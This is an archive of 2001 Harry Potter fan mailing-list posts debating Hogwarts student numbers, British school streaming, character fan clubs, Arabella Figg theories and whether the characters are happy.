From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 09:13:54 -0700 (PDT)
Subject: [HPforGrownups] Prefects/Forms? (was Re: Question From A befuddled American)
In-Reply-To: <007b01c1437c$992c2f60$093770c2@c5s910j>
Message-ID: <20010922161354.89868.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26473


--- Neil Ward <neilward at dircon.co.uk> wrote:
 
> Welcome befuddled Americans!
  
> On a related topic, there is another concept I
> haven't seen in the HP books;
> that of forms and form captains.  In addition to
> having houses, most British
> schools split each year into forms (usually three or
> four per year) each of
> which would include students from each of the school
> houses.  Instead of
> having a house common room as the shared base,
> students have a form room,
> with a form teacher who takes the register each
> morning and acts as a
> 'parental' figure.  The students elect a form
> captain to represent them.

   'Forms' sound like a way of breaking up years into
manageable bits. Since Hogwarts years seem to number
forty or so this probably isn't necessary. 
 
> That's just from my experience, but it occurred to
> me recently that the
> focus we see at Hogwarts, on smaller groups of
> students from each House, may
> have something to do with the streaming of students,
> and that we're only
> seeing one stream in the action.

   Uh, streaming? Is that anything like 'tracking'
which means seperating students into groups aimed at
college or at vocational schools, a practice extremely
controversial here in America.

  I admit that
> there's no real evidence for
> that (before all you L.O.O.N.s attack me), but it's
> a way of coping with
> JKR's puzzling 1,000 figure without having to bend
> the laws of physics.

   It is the function of magic to bend the laws of
physics ;) and what is a L.O.O.N.?

__________________________________________________
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From vheggie at yahoo.com  Sat Sep 22 16:28:35 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sat, 22 Sep 2001 16:28:35 -0000
Subject: Prefects/Forms? (was Re: Question From A befuddled American)
In-Reply-To: <20010922161354.89868.qmail@web20807.mail.yahoo.com>
Message-ID: <9oie7j+47gg@eGroups.com>

No: HPFGUIDX 26474


[snippety snip]
>    Uh, streaming? Is that anything like 'tracking'
> which means seperating students into groups aimed at
> college or at vocational schools, a practice extremely
> controversial here in America.

'Streaming' involves spearating students up into groups according to 
their ability - remember that in the UK, children take exams in 
specific subejcts at 16 and 18, rather than relying on an overall 
school grade, like a GPA.
In streamed lessons, kids (in theory) get to work at their 'own 
levels' - so, in other words, mathematically able children might do 
advanced maths in order to achieve a top grade, whilst the majority 
of their year concentrate on the core syllabus in order to pass.
It's also possible to stream classes in order to allow some pupils to 
take their exams early, if they can.

Streaming is different for each class - a child who is 'top group' 
in, say French, may not be in 'top group' for maths.

In my experience, schools tended to have one or two 'top groups', and 
then leave the rest unstreamed/mixed-ability; it is also possible 
that not all subjects are streamed - at my high school, only foreign 
languages and maths were separated by ability.




From neilward at dircon.co.uk  Sat Sep 22 16:31:19 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 22 Sep 2001 17:31:19 +0100
Subject: Prefects/Forms? (was Re: Question From A befuddled American)
References: <20010922161354.89868.qmail@web20807.mail.yahoo.com>
Message-ID: <00ef01c14384$0309c300$093770c2@c5s910j>

No: HPFGUIDX 26475

Rowena said:

<< 'Forms' sound like a way of breaking up years into manageable bits. Since
Hogwarts years seem to number forty or so this probably isn't necessary. >>

I agree that Hogwarts years seem to number forty or so, but JKR said in an
interview that Hogwarts has about 1,000 students.  Since we take her word as
law, this threw a spanner in the works, since some of us (not all) had
pretty much settled on about 300 students.

<<  Uh, streaming? Is that anything like 'tracking' which means seperating
students into groups aimed at college or at vocational schools, a practice
extremely controversial here in America. >>

I'm showing my age.  Perhaps I shouldn't have mentioned streaming at all,
but it is usually the organisation of students by ability level -
controversial, as you say.

<< It is the function of magic to bend the laws of physics ;) and what is a
L.O.O.N.? >>

Good point... and L.O.O.N. is the League Of Obsessed Nitpickers, a group of
members of this list who are offered membership on the evidence of their
posts on topics such as the number of prefects at Hogwarts.

Neil
_____________________
Flying Ford Anglia





From ebonyink at hotmail.com  Sat Sep 22 16:33:57 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sat, 22 Sep 2001 16:33:57 -0000
Subject: It's All About Harry  (was ADMIN RE: New polls for HPforGrownups)
In-Reply-To: <10.12d92db1.28dd77b4@aol.com>
Message-ID: <9oiehl+9daj@eGroups.com>

No: HPFGUIDX 26476

Jenny wrote:

> > --jenny from ravenclaw, who really would rather talk about Harry 
but alas, everyone else seems to want to talk about Snape 
> 

Lotus replied:

Thanks Jenny.  :-) I think I'll join the chatter list, and maybe we 
can have a pro-Harry coup.  :-)
>


Hey!  Count me in... I'd much rather talk about Harry too than (---
omit my personal nickname for Sevvie here---).  There's an anti-Harry 
thread on one of the FictionAlley Park boards that I Mod that's 
giving me a headache, so I'd love to be part of any conspiracy.

A thought--the 4GU nitpickers have an acronym of their own, and so do 
Ron and Hermione fans.  How come Harry gets neglected?  Do people 
think that if you are an HP fan, you're a Harry fan by default?  It's 
the way things ought to be, but it's not the case.

I'm also in the mood for more canon talk about Percy.  I am big on 
the Humonguous Bighead... and I snarl whenever I read posts from his 
detractors.  Isn't there a Percy Fans Unite club, or is it P.I.N.E. 
(Percy Is Not Evil)?

--Ebony AKA AngieJ, proud member of S.C.H.A.B.B. (a moderate-bobbing-
right-and-left straight Pentecostal who found the recent controversy 
absurd)





From pennylin at swbell.net  Sat Sep 22 16:55:00 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Sat, 22 Sep 2001 11:55:00 -0500
Subject: [HPforGrownups] RE: Prefects
References: <20010922155746.13215.qmail@web20810.mail.yahoo.com>
Message-ID: <3BACC264.4050801@swbell.net>

No: HPFGUIDX 26477

Hi --

Rowena Grunnion-Ffitch wrote:

> 
 But if there are as many prefects as will fit into
> two train compartments wouldn't that would make
> twelve? (assuming six is the maximum a compartment can
> hold comfortably) which would make three prefects per
> House, perhaps in charge of the first, second and
> third years.

I'm not sure why you assume a compartment can only hold 6 people. 
Someone (Simon?) elaborated that a standard BritRail compartment would 
hold a fair number of people as I recall.  I don't know why we would 
assume the size of the compartments is small.  If that were true, how 
long would the Hogwarts Express need to be to transport 1,000 students 
to Hogwarts (which, of course, assumes that there are 1000 students 
(which I don't believe) and that they all arrive at Hogwarts on the 
Hogwarts Express via King's Cross in London (which I also don't believe 
can be true))?

Penny





From tabouli at unite.com.au  Sat Sep 22 17:04:52 2001
From: tabouli at unite.com.au (Tabouli)
Date: Sun, 23 Sep 2001 03:04:52 +1000
Subject: Nature of OT, US/UK English, happiness & "Skool"
Message-ID: <001b01c14388$c91fc400$aa92aecb@price>

No: HPFGUIDX 26478

Lotus:
> I can only speak for me, but I didn't join the chatter list because I was 
under the impression (and pardon me if I'm wrong) that it was mostly a 
discussion about fan fic, which I am not interested in at all.<

As Cassie has already pointed out, not at all.  The OT list is a more personal list.  There's a lot more disclosure about listmembers as people, discussion of social issues and in-depth speculation on topics originating from HP but too far off the beaten track for the main list.  More of a social club, less of an HP analysis forum.

As for fan fic, I admit I've always been deeply suspicious of the concept, perhaps because the vast majority of it is just so badly written and plotted.  However, out of a sense of fairness, I thought I should read some of the highly recommended stuff before issuing such a damning judgment, and was in a couple of cases pleasantly surprised (for fellow cynics who've steered around the stuff, if you can bring yourself to look at "The Potionmaster's Apprentice" by R.J. Anderson you may soften your stance.  It's behind Draco at Fiction Alley).  

As usual, I also generated some interesting cross-cultural observations reading fanfic written by non-Britons trying to write British English.  (insert hasty disclaimer that I am open to correction from outraged North Americans and Britons before I continue my comments).  A lot of fanfic writers pointedly sprinkled in a lot of classic English slang, but unconsciously used a lot of very US words instinctively: for example, characters saying "You're nuts" (a very American expression), rather than "You're mad" (mad meaning "angry" rather than "crazy" in American English), and the regular use of the term "dating", which AFAIK is not used as much outside the US and Canada.  "Date" as a noun, as in "going on a date", yes, but even that is less common.  In Australia "they're going out together" or "they've been together for two years" would typically be used rather than "they're dating", unless the speaker was being ironic or putting on an American accent to disguise self-consciousness.  I have to admit I'm extrapolating quite a bit on my UK assumptions here: any thoughts from UK members?  (NB: this is an example of a discussion which should probably be shifted over to OT!)

Amy Z:
> (Since JKR has commented in an interview that the happiest people 
don't become ghosts)  Is Remus happy?

Interesting question.  For a man who has a lot of reasons to be miserable, he's certainly good at projecting calm and mild benevolence (perhaps, as someone said, *because* he becomes a ravening werewolf for a few days each month).  A while ago we briefly noted that a prime candidate for a new Hogwarts ghost would have to be Crouch Senior, who was murdered under wretched circumstances *and* buried in Hagrid's vegie garden.

As for the happiness of the characters, there's plenty of room for speculation there: is Dumbledore happy?  Is Hermione?  Dudley?  The Weasley twins?


Rita:
> One of my pen pals told me on September 6 that the name Hogwarts first
> appeared in "DOWN WITH SKOOL" by Ronald Searles and someone

It's Geoffrey Willans and Ronald Searle, and they wrote a series of these books, which are set in an English boys' boarding school called St Custard's and are written through the eyes of Nigel Molesworth in rather creative spelling.  I have a couple at my parents' house in Adelaide, and one here called "Back in the Jug Agane".  I'm not sure where Hogwarts comes in, though.  They were first published in the 1950s, with another paperback run around the late 70s and early 80s.  Don't know if they were ever released in the US.  Try Amazon UK, or, if no luck there, they're probably readily available in the children's section of second hand bookshops.  If you're very good I might even be commissioned to keep an eye out for you in book shops here, because I'm sure I've seen some...

Tabouli.


[Non-text portions of this message have been removed]




From caliburncy at yahoo.com  Sat Sep 22 17:05:36 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 22 Sep 2001 17:05:36 -0000
Subject: MOVIE: What Kloves wanted to do
In-Reply-To: <3BACB3DB.4000305@swbell.net>
Message-ID: <9oigd0+hp1p@eGroups.com>

No: HPFGUIDX 26479

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> I think I was referring to FITD maybe being the thing that he senses 
> is "going on."  I think the part about the reference to someone 
> being taken out because of something in Book 5 is separate & apart 
> from the something "going on."  In other words, I think he's said 3 
> things in the above paragraph
...<snip list>...
> Does that make sense?

Yes, it does Penny.  I was just being dense, it seems.  Thanks for 
setting me straight on which line you were referring to.  In that 
case, I heartily agree that FITD could be what he senses is "going 
on".

I still wonder, though, what the other thing was he took out with the 
revealing character reference.  I highly suspect the Mrs. (Arabella) 
Figg possibility I mentioned earlier, because that just seems to fit. 
 The sad thing is that I'll probably never find out unless I go bang 
down Steve Kloves door the same day Book 5 comes out, yelling "Okay, 
I've read the book!  You're not spoiling anything anymore!  Tell me 
what you were going to add!"

This operation would of course be dependant on 1) my ability to find 
Kloves's address and 2) his not calling the police.

-Luke




From pennylin at swbell.net  Sat Sep 22 17:08:33 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Sat, 22 Sep 2001 12:08:33 -0500
Subject: [HPforGrownups] It's All About Harry -- Percy Fans United --
 Introducing S.C.H.A.B.B.
References: <9oiehl+9daj@eGroups.com>
Message-ID: <3BACC591.60506@swbell.net>

No: HPFGUIDX 26480

Hi again --

I'm quite talkative today!

Ebony wrote:

> 
> Hey!  Count me in... I'd much rather talk about Harry too than (---
> omit my personal nickname for Sevvie here---).  There's an anti-Harry
> thread on one of the FictionAlley Park boards that I Mod that's
> giving me a headache, so I'd love to be part of any conspiracy.

An *anti-Harry* thread?  How can that be?  I know there are people who 
maybe favor some of the other characters, but how can anyone dislike 
Harry?  Impossible.  Heresy, even!  :--)

Jenny -- I am all in favor of talking more about Harry.  As you know 
from our recent talks on the Mods list, I count Harry as just slightly 
less my favorite than Hermione if that phrasing makes any sense at all.

> 
> A thought--the 4GU nitpickers have an acronym of their own, and so do
> Ron and Hermione fans.  How come Harry gets neglected?  Do people
> think that if you are an HP fan, you're a Harry fan by default?  It's
> the way things ought to be, but it's not the case.

I nominate Ebony or Jenny to come up with a good acronym for us Harry fans!

> 
> I'm also in the mood for more canon talk about Percy.  I am big on
> the Humonguous Bighead... and I snarl whenever I read posts from his
> detractors.  Isn't there a Percy Fans Unite club, or is it P.I.N.E.
> (Percy Is Not Evil)?

Trina started Percy Fans United, but I *like* P.I.N.E.  I'll put up 2 
sickles to join that one.  What do you say Trina, should we assimilate 
Percy Fans United into P.I.N.E.?

> 
> --Ebony AKA AngieJ, proud member of S.C.H.A.B.B. (a moderate-bobbing-
> right-and-left straight Pentecostal who found the recent controversy
> absurd)

Perhaps we should elaborate on S.C.H.A.B.B. since I only introduced it 
on the Mods list but hadn't described over here on the Main List yet. 
S.C.H.A.B.B. was formed in response to C.R.A.B. (Cut Ron a Break), 
although I'm told on the Mods list that we can expect there to be 
overlap between the S.C.H.A.B.B. & C.R.A.B. groups.  :--)

Okay, so what is SCHABB, you ask?  SCHABB stands for Stop Calling 
Hermione a Bossy Braggart.  I was going to call it Stop Calling Hermione 
an Insecure Bossy Braggart who is Incapable of Running her own Love 
Life, but it didn't work into a nice acronym & wasn't going to fit on 
the badges.  So, 2 sickles to join, which seems to be the standard 
membership dues. It's for all us Hermione fans, who believe that 
Hermione has matured well beyond the swotty little know-it-all that she 
was in the beginning of PS/SS.  We think she's never been a braggart, 
and her bossiness has largely been outgrown already (but certainly will 
be by the time she's an adult).  We think Hermione should be free to 
choose to give her romantic attentions to Harry, Ron, Krum, the Giant 
Squid or whoever she chooses.  That is to say, just because Ron likes 
*her* does not by default mean that they will be a couple & that she 
necessarily likes him back (although she may ... again, it's *her* 
choice).  :--)

Penny
feeling unusually chatty today





From caliburncy at yahoo.com  Sat Sep 22 17:27:20 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 22 Sep 2001 17:27:20 -0000
Subject: Mildly OT: L.O.O.N. discrepancies
In-Reply-To: <00ef01c14384$0309c300$093770c2@c5s910j>
Message-ID: <9oihlo+301h@eGroups.com>

No: HPFGUIDX 26481

--- In HPforGrownups at y..., "Neil Ward" <neilward at d...> wrote:
> Good point... and L.O.O.N. is the League Of Obsessed Nitpickers, a 
> group of members of this list who are offered membership on the 
> evidence of their posts on topics such as the number of prefects at 
> Hogwarts.

Okay, against my better judgment (as this is a tiny bit off-topic), I 
nevertheless just *have* to say this.

What really does the second "O" stand for?  Because in various 
manifestos by Anal P. Lardbottom (John Walton) it's the League Of 
obsessIVE Nitpickers, later on became the League Of OVERLY-ObsessIVE 
Nitpickers and now appears to have devolved into the League Of 
ObsessED Nitpickers.  (Neil isn't the only one who's called it this 
either.)

I just find it moderately amusing that our most characteristically 
detail-oriented friends can't keep their own name straight.  <vbg>

Love ya!
-Luke





From vheggie at yahoo.com  Sat Sep 22 17:45:56 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sat, 22 Sep 2001 17:45:56 -0000
Subject: Prefects
In-Reply-To: <3BACC264.4050801@swbell.net>
Message-ID: <9oiiok+l6se@eGroups.com>

No: HPFGUIDX 26482

[snip]
> I'm not sure why you assume a compartment can only hold 6 people. 
> Someone (Simon?) elaborated that a standard BritRail compartment 
would 
> hold a fair number of people as I recall.  I don't know why we 
would 
> assume the size of the compartments is small.  

Could there be a difference between 'carriages' and 'compartments'?
In older Britrail trains (and indeed - in some carriages of the new 
ones, by the guard's van, etc), some carriages are divided up 
into 'compartments' (like the first-class carriages in some trains, 
or on the Eurostar).  A corridor runs down the side of a carriage, 
from which lead the four, five, or even six sliding doors which lead 
into smaller 'compartments' which would hold 6 - 8 people.

This section from PoA really made me imagine compartmentalised 
carriages: (no page numbers, since I'm cut & pasting from an e-text - 
too lazy to look it up and type it in by hand, but it's near the 
beginning of chapter five)
"Harry, Ron, and Hermione set off down the corridor, looking for an 
empty compartment, but all were full except for the one at the very 
end of the train."




From inviziblegirl at hotmail.com  Sat Sep 22 18:26:35 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Sat, 22 Sep 2001 14:26:35 -0400
Subject: [HPforGrownups] It's All About Harry -- Percy Fans United 
Message-ID: <F111tMQN8zyEUCUA3Za0000449f@hotmail.com>

No: HPFGUIDX 26483


Dangit, I just composed a great post and then Hotmail threw up on me and 
lost it. *kicks Hotmail* Well, let me see if I can reconstruct my 
thoughts...

>From: Penny & Bryce <pennylin at swbell.net>
>
>An *anti-Harry* thread?  How can that be?  I know there are people who
>maybe favor some of the other characters, but how can anyone dislike
>Harry?  Impossible.  Heresy, even!  :--)

*grin* Well, I don't understand anti-Harry sentiments but I know that I'm 
not the most enthusiastic person when it comes to his character. *shrinks 
back at all the angry glares shot her way*

I've thought about why I'm kinda lukewarm when it comes to him. I've decided 
one reason could be that there's less to speculate about. Since the books 
are mostly from his POV, we know what Harry thinks the majority of the time. 
Whereas with Hermione, there's more to wonder about.

Another reason could be that if I were to know Harry in real life, I'd be 
*jealous* of him. That's right, jealous. Harry does well in school, is 
gifted when it comes to flying and Quidditch, has fabulous friends, seems to 
"save the day" an awful lot, is destined for greatness, and has more bravery 
than one person ought to have. He's just about a complete opposite to me.

Is it any wonder I sympathize with Ron? *sigh* I understand the Normal 
Person Syndrome quite well. I've recently thought that perhaps some people 
sympathize with Harry over Ron because they have extraordinary qualities and 
understand the persecution that comes with being singled out. And perhaps 
the reason why some people sympathize with Ron over Harry is people they 
don't have extraordinary qualities and sympathize with the frustration of 
being ignored. Not to say that Ron doesn't have extraordinary qualities, but 
they are severely overshadowed when compared to Harry.

Of course, the above theory isn't ironclad, there are always exceptions to 
the "rule". But I rather think it applies some of the time; at least it 
applies to me!

> > I'm also in the mood for more canon talk about Percy.  I am big on
> > the Humonguous Bighead... and I snarl whenever I read posts from his
> > detractors.  Isn't there a Percy Fans Unite club, or is it P.I.N.E.
> > (Percy Is Not Evil)?
>
>Trina started Percy Fans United, but I *like* P.I.N.E.  I'll put up 2
>sickles to join that one.  What do you say Trina, should we assimilate
>Percy Fans United into P.I.N.E.?

*immediately starts bouncing up and down, waving her hand frantically, 
shrieking "Oh, oh, oh, ME!"* I'll join, I'll join! *shoves her sickles into 
the hands of whoever is in charge of P.I.N.E.* While Hermione is my favorite 
character (I'll join S.C.H.A.B.B. in a heartbeat), Percy is my second 
favorite character and needs as much support as he can get. Poor, 
misunderstood Percy...

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From ebonyink at hotmail.com  Sat Sep 22 18:31:26 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sat, 22 Sep 2001 18:31:26 -0000
Subject: Happiness of  HP Characters
Message-ID: <9oildu+4dg0@eGroups.com>

No: HPFGUIDX 26484

Tabouli wrote:

"As for the happiness of the characters, there's plenty of room for 
speculation there: is Dumbledore happy?  Is Hermione?  Dudley?  The 
Weasley twins?"

What an interesting question.  As I began to think about it, I 
realized that NONE of the characters are really very happy in the 
truest sense of the word.  I can't help but think of the "shadow" 
premise of my generations theory... they have happy moments (some 
more than others--Fred and George might have more, Snape might have 
less) but IMO none of the characters are truly content.

Which may be part of the psychological appeal of these stories.

What do you think?

--Ebony AKA AngieJ







From devika261 at aol.com  Sat Sep 22 18:51:53 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Sat, 22 Sep 2001 14:51:53 EDT
Subject: [HPforGrownups] It's All About Harry -- Percy Fans United -- Introducing S.C.H.A.B.B.
Message-ID: <130.1f63590.28de37ca@aol.com>

No: HPFGUIDX 26485

In a message dated Sat, 22 Sep 2001  1:09:44 PM Eastern Daylight Time, Penny & Bryce <pennylin at swbell.net> writes:


> 
> Trina started Percy Fans United, but I *like* P.I.N.E.  I'll put up 2 
> sickles to join that one.  What do you say Trina, should we assimilate 
> Percy Fans United into P.I.N.E.?
> 

Sign me up!  Poor Percy...I'm sure he'll come out all right in the end (at least, I hope so).



> Okay, so what is SCHABB, you ask?  SCHABB stands for Stop Calling 
> Hermione a Bossy Braggart.  I was going to call it Stop Calling Hermione 
> an Insecure Bossy Braggart who is Incapable of Running her own Love 
> Life, but it didn't work into a nice acronym & wasn't going to fit on 
> the badges.  So, 2 sickles to join, which seems to be the standard 
> membership dues. It's for all us Hermione fans, who believe that 
> Hermione has matured well beyond the swotty little know-it-all that she 
> was in the beginning of PS/SS.  We think she's never been a braggart, 
> and her bossiness has largely been outgrown already (but certainly will 
> be by the time she's an adult).  We think Hermione should be free to 
> choose to give her romantic attentions to Harry, Ron, Krum, the Giant 
> Squid or whoever she chooses.  That is to say, just because Ron likes 
> *her* does not by default mean that they will be a couple & that she 
> necessarily likes him back (although she may ... again, it's *her* 
> choice).  :--)
>

Absolutely!!  I'll pay two sickles anytime to defend the character I most identify with.  And while we're at it, can I join C.R.A.B. too?  I'm having a hard time choosing a favorite of the trio--I just love them all in different ways for different reasons...

Devika, who'd better have a small fortune like Harry's, considering all the membership dues she's going to have to pay :)



From ebonyink at hotmail.com  Sat Sep 22 18:53:10 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sat, 22 Sep 2001 18:53:10 -0000
Subject: It's All About Harry -- Percy Fans United
In-Reply-To: <F111tMQN8zyEUCUA3Za0000449f@hotmail.com>
Message-ID: <9oimmm+cna1@eGroups.com>

No: HPFGUIDX 26486

Nothing gets me out of lurkdom faster than Harry discussion...

--- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
> Is it any wonder I sympathize with Ron? *sigh* I understand the 
Normal Person Syndrome quite well. I've recently thought that perhaps 
some people sympathize with Harry over Ron because they have 
extraordinary qualities and understand the persecution that comes 
with being singled out. And perhaps the reason why some people 
sympathize with Ron over Harry is people they don't have 
extraordinary qualities and sympathize with the frustration of 
being ignored. Not to say that Ron doesn't have extraordinary 
qualities, but they are severely overshadowed when compared to Harry.
> 

Wow, Amber... I've never thought of it this way.  I thought it might 
be birth order issues myself, with oldests and onlys leaning 
Harryward and middle-to-youngest ones sympathizing with Ron.  Who 
knows?

I can't believe anyone would be jealous of Harry, though.  He might 
have all those stellar personal qualities, but would you switch 
places with him?  I'm sure he'd trade places with Ron without even 
thinking about it.

Finally, Harry is not perfect or abnormal.  The difference between 
Harry and what some would say is typical 14-year old male behavior is 
that he has a great deal of self-control and has learned to suppress 
his normal reactions/emotions.  Everyone here knows canon... you know 
all the times when Harry let his emotions flare up.  

Harry is not atypical for no good reason.  Harry was emotionally 
abused for a good ten years of his childhood.  Victims of abuse have 
various coping strategies.  What you see in canon is one of these.

What gets me is when people say that Ron acts like a typical 14 year 
old boy.  This is not necessarily the case.  I taught eighth grade 
last year and this year I have one ninth grade class.  It's a diverse 
class, in which several races, religions, and ethnic backgrounds are 
represented.  There are all types of personalities amongst the boys.  
I see Harry and Ron and Neville and Dean and Seamus and even *Draco* 
in my class.

One might feel sympathetic towards Ron.  I know I do at times... his 
character disappointed me in PoA and GoF.  But please, not at Harry's 
expense!

Amber again:

> *immediately starts bouncing up and down, waving her hand 
frantically, shrieking "Oh, oh, oh, ME!"* I'll join, I'll join! 
*shoves her sickles into the hands of whoever is in charge of 
P.I.N.E.* While Hermione is my favorite character (I'll join 
S.C.H.A.B.B. in a heartbeat), Percy is my second favorite character 
and needs as much support as he can get. Poor, misunderstood Percy...
> 

Great!  I take Percy-bashing to heart because his role in his family 
is my role in mine... so saying he's going to turn evil in OotP and 
beyond... them's fightin' words!

--Ebony AKA AngieJ




From devika261 at aol.com  Sat Sep 22 19:02:08 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Sat, 22 Sep 2001 15:02:08 EDT
Subject: [HPforGrownups] Re: MOVIE: What Kloves wanted to do
Message-ID: <f4.fa9d2af.28de3a30@aol.com>

No: HPFGUIDX 26487

Luke said:
"I still wonder, though, what the other thing was he took out with the 
 revealing character reference.  I highly suspect the Mrs. (Arabella) 
 Figg possibility I mentioned earlier, because that just seems to fit."

I agree.  When I first read the interview, I thought the character reference would have something to do with either Mrs. Figg or Sirius Black.  I know, I know, we've already met Sirius and know about him, but he *is* mentioned in book 1 (ch. 1, where Hagrid tells Dumbledore where he got the motorcycle), and we know he'll be back in book 5 as well.  Maybe they were going to put in the opening scene where Voldemort killed Lily and James, and Hagrid came to rescue Harry, meeting Sirius there?  We really don't know much about Sirius before he went to Azkaban, so there might be some big secret regarding that time.
OK, having said that, I'm going to say, however, that I think it's more likely that the reference was to Arabella Figg.  She doesn't just have a secret--we literally don't know anything about her, except that she babysits Harry.
Oh well, I guess it's just idle speculation at this point, anyway.  Definitely interesting to consider, though...

Devika, who would be quite willing to help Luke find Steve Kloves and ask him the answer to this question :) 
  





From devika261 at aol.com  Sat Sep 22 19:18:58 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Sat, 22 Sep 2001 15:18:58 EDT
Subject: [HPforGrownups] Mrs Figg, and her broken leg....
Message-ID: <122.4bbe04e.28de3e23@aol.com>

No: HPFGUIDX 26488

In a message dated Sat, 22 Sep 2001 11:20:58 AM Eastern Daylight Time, vheggie at yahoo.com writes:

> Having spent my Saturday lunchtime listening to PS/SS on audio tape, 
> I've a few questions/suggestions about the mysterious Arabella Figg.
> 
> Early on in PS/SS, she breaks her leg, supposedly from tripping over 
> one of her cats.  As a consequence of this, Harry gets to go to 
> London Zoo, and have his first conversation in Parseltoungue.
> Several weeks later she's still on crutches, since Dudley nearly runs 
> her over with the racing bike he gets for his birthday.
> Why did she not mend it/have it mended with magic?
> 
> I've several ideas, some more likely than others....
> 1)It wasn't really a broken leg, but something far more serious
> 
> 2)She is actually a squib/muggle, but with sympathies for the 
> wizarding world & therefore couldn't repair it herself.
> 
> 3)She is actually a witch, but, as part of her disguise in the muggle 
> world, cannot use any magic, or have contact with the magic world 
> (perhaps part of the protection around Harry?)
> 
> 4)She is a witch, but in order to 'blend in' she's making a real 
> effort not to use magic or appear different, so she's using crutches 
> for the sake of appearances.
> 
> 5)She is a witch, and it was necessary to pretend to have a broken 
> leg, so Harry could go to the Zoo (did Dumbledore have suspicion 
> about Harry's 'language skills'?) - the crutches were just 'for 
> appearances sake', as above.
> 
> Personally I like option 3 best...any thoughts?
> 


Well, I'm supposed to be writing an English paper, but I like this question, so I'll take a break to answer it.

I'd go with a combination of 3 and 5.  I think Arabella Figg is a witch who has for some reason been living in a sort of exile from the wizarding world--probably self-imposed, and for the sake of Harry's safety.  She may or may not have actually broken her leg, but I think that she knew it was Harry's last full year with the Dursleys since he would be turning 11, and she wanted him to enjoy himself for once.  The broken leg was a good way for her to get out of watching him, so it was likely that the Dursleys would take him to the zoo.  And Harry did have a good time until the snake incident.  I don't believe that the whole Parseltongue thing was part of any master plan on Mrs. Figg's or Dumbledore's part, but you never know.
Also, IIRC, Harry did have to stay with Mrs. Figg one day when Aunt Petunia was shopping with Dudley.  She was then nicer than usual to him, not making him look at pictures of her cats and giving him chocolate cake.

Hmmm...I wonder what was in that chocolate cake.  A potion to give Harry courage, maybe?  Not that he needed it, though.
And what's with the cat pictures?  Is it some kind of clue?  Maybe Crookshanks once belonged to Mrs. Figg.  Or maybe Mrs. Norris has something to do with it.  
Hmm...the plot thickens...

Devika, who should be thinking less about Harry Potter and more about virgin martyr legends...



From sundancekid at mail.com  Sat Sep 22 19:24:33 2001
From: sundancekid at mail.com (Allison)
Date: Sat, 22 Sep 2001 19:24:33 -0000
Subject: It's All About Harry -- Percy Fans United - Happiness
In-Reply-To: <F111tMQN8zyEUCUA3Za0000449f@hotmail.com>
Message-ID: <9oiohh+acog@eGroups.com>

No: HPFGUIDX 26489

--- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
> 
> *grin* Well, I don't understand anti-Harry sentiments but I know 
that I'm 
> not the most enthusiastic person when it comes to his character. 
*shrinks 
> back at all the angry glares shot her way*

I went and read that thread and had to stop myself from flaming.  I 
love Harry to death, and will defend him 'til I die, and do not 
understand how people can not love him.  Harry is the one I identify 
with the most - he does either what I would do or what I would *want* 
to do (but wouldn't have the guts) nearly every time.
> 
> I've thought about why I'm kinda lukewarm when it comes to him. 
I've decided 
> one reason could be that there's less to speculate about. Since the 
books 
> are mostly from his POV, we know what Harry thinks the majority of 
the time. 
> Whereas with Hermione, there's more to wonder about.

We do know what Harry thinks, but there's still plenty we don't know 
about him.  Why Voldie wants to kill him is the obvious example, but 
there's other stuff too.  I wonder about his childhood - I know he 
said he didn't have any friends and the Dursleys are no picnic, but 
surely he *must* have been happy at some point - it seems like 10 
years of perpetual unhappiness would kill your spirit - how could he 
have become the Harry we all know and love (or at least I love) if he 
didn't have any happy memories at all?

--- In HPforGrownups at y..., "Ebony" <ebonyink at h...> wrote:
> As I began to think about it, I 
> realized that NONE of the characters are really very happy in the 
> truest sense of the word.  

Ooh, look, I'm combining posts!  Following orders and everything!  
Anyway, like Ebony said, I don't think Harry is very happy.  I read 
an interview with JKR (Reader's Digest, IIRC) where she said of the 
Trio, Harry is the most likely to get depressed.  Like I said, I 
wonder about life pre-Hogwarts - for all of them, really.  Did 
Hermione get teased for being smart?  For making things happen that 
she didn't understand?  What on earth did Neville do for fun?  I 
don't think any of the characters are all that happy - life has been 
too hard for all of them, living under V's shadow or in the 
aftereffects of it.

> Is it any wonder I sympathize with Ron? *sigh* I understand the 
Normal 
> Person Syndrome quite well. I've recently thought that perhaps some 
people 
> sympathize with Harry over Ron because they have extraordinary 
qualities and 
> understand the persecution that comes with being singled out. And 
perhaps 
> the reason why some people sympathize with Ron over Harry is people 
they 
> don't have extraordinary qualities and sympathize with the 
frustration of 
> being ignored. Not to say that Ron doesn't have extraordinary 
qualities, but 
> they are severely overshadowed when compared to Harry.

I'm very much a Normal Person, and I still like Harry.  I think the 
reason is *he* doesn't think he's special.  He's just that kid 
underneath the Dursleys' stairs with the too-big clothes and the 
broken glasses.  We, along with the rest of the wizarding world, know 
there's something Special about him, but he doesn't.

But I love Ron too - I'm a proud member of RINSE.  And I firmly 
believe that Ron has some Essential Quality That Has Not Been 
Revealed Yet (or something we've seen but didn't matter at the time) 
which will prove... well, essential.

> > > I'm also in the mood for more canon talk about Percy.  I am big 
on
> > > the Humonguous Bighead... and I snarl whenever I read posts 
from his
> > > detractors.  Isn't there a Percy Fans Unite club, or is it 
P.I.N.E.
> > > (Percy Is Not Evil)?

